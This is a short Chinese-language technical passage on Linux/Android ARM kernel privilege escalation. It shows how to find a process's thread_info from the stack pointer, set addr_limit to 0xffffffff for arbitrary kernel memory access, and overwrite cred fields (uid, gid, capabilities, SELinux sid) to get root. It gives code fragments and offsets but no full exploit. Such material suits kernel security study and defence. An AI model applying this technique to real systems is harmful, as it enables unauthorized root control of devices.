方法一:
通过寻找进程的thread_info结构,搜索匹配进程的cred结构,并修改其值获得root权限。thread_info(arch arm)结构如下:
/* Linux/arch/arm/include/asm/thread_info.h*/
20 #define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER) // THREAF_SIZE=8192
49 struct thread_info { 50 unsigned long flags; /* low level flags */ 51 int preempt_count; /* 0 => preemptable, <0 => bug */ 52 mm_segment_t addr_limit; /* address limit */ 53 struct task_struct *task; /* main task structure */ 54 __u32 cpu; /* cpu */ 55 __u32 cpu_domain; /* cpu domain */ 56 struct cpu_context_save cpu_context; /* cpu context */ 57 __u32 syscall; /* syscall number */ 58 __u8 used_cp[16]; /* thread used copro */ 59 unsigned long tp_value[2]; /* TLS registers */ 60 #ifdef CONFIG_CRUNCH 61 struct crunch_state crunchstate; 62 #endif 63 union fp_state fpstate __attribute__((aligned(8))); 64 union vfp_state vfpstate; 65 #ifdef CONFIG_ARM_THUMBEE 66 unsigned long thumbee_state; /* ThumbEE Handler Base register */ 67 #endif 68 }; 69
thread_info保存在栈的最低端,addr_limit表示进程可访问的地址空间,修改为0xffffffff可访问任意内核地址,task_struct保存进程权限值,修改权限值来达到提权的目的;
因为THREAD_SIZE为8192,因此thread_info=栈地址&0xffffe000(~(THREAD_SIZE - 1) = 0xfffe000),以下函数用于获取thread_info地址,其原理就是把esp的最后n(THREAD_SIZE栈大小的位数)位清空,那么就是基地址了,也就是thread_info的值:
static inline struct thread_info *current_thread_info(void) { return (struct thread_info *)(current_stack_pointer & ~(THREAD_SIZE - 1)); }
那么根据& addr_limit = * thread_info + 8修改其值为0xffffffff;
内核3.x 在task_struct找不到security成员了,原来是将安全相关的信息剥离到一个叫做 cred 的结构体中,由cred负责保存进程安全上下文。根据task_struct=*(int*)(((int)&v)&0xffffe000)+0xc),找到task_struct结构体//v为内核定义的变量
然后通过thread_info.task_struct -> cred -> secutiry,修改以下值获取root权限:
credbuf.uid = 0; credbuf.gid = 0; credbuf.suid = 0; credbuf.sgid = 0; credbuf.euid = 0; credbuf.egid = 0; credbuf.fsuid = 0; credbuf.fsgid = 0; credbuf.cap_inheritable.cap[0] = 0xffffffff; credbuf.cap_inheritable.cap[1] = 0xffffffff; credbuf.cap_permitted.cap[0] = 0xffffffff; credbuf.cap_permitted.cap[1] = 0xffffffff; credbuf.cap_effective.cap[0] = 0xffffffff; credbuf.cap_effective.cap[1] = 0xffffffff; credbuf.cap_bset.cap[0] = 0xffffffff; credbuf.cap_bset.cap[1] = 0xffffffff; securitybuf.osid = 1; securitybuf.sid = 1; taskbuf.pid = 1;
附:task_struct:http://lxr.linux.no/#linux+v2.6.30.5/include/linux/sched.h#L1117
cred:http://lxr.linux.no/#linux+v2.6.30.5/include/linux/cred.h#L115